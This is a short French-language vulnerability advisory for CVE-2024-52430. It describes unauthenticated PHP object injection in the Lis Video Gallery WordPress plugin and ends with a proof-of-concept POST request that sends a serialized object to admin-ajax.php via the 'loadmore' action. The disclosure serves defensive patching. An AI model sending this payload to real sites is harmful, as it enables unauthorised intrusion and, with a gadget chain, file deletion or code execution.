CVE-2024-52430

Lis Video Gallery <= 0.2.1 - Injection d'objets PHP non authentifiée

Description

Le plugin Lis Video Gallery pour WordPress est vulnérable à l'injection d'objets PHP dans les versions jusqu'à la 0.2.1 incluse, via la désérialisation d'entrées non fiables. Cela permet à des attaquants non authentifiés d'injecter un objet PHP. Aucune chaîne POP connue n'est présente dans le logiciel vulnérable. Si une chaîne POP est présente via un plugin ou un thème supplémentaire installé sur le système cible, elle pourrait permettre à l'attaquant de supprimer des fichiers arbitraires, de récupérer des données sensibles ou d'exécuter du code.

CVE: CVE-2024-52430
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: lis-video-gallery

POC

POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 79

action=loadmore&query=O%3a20%3a%22PHP_Object_Injection%22%3a0%3a%7b%7d&page=1

PHP object injection has occurred.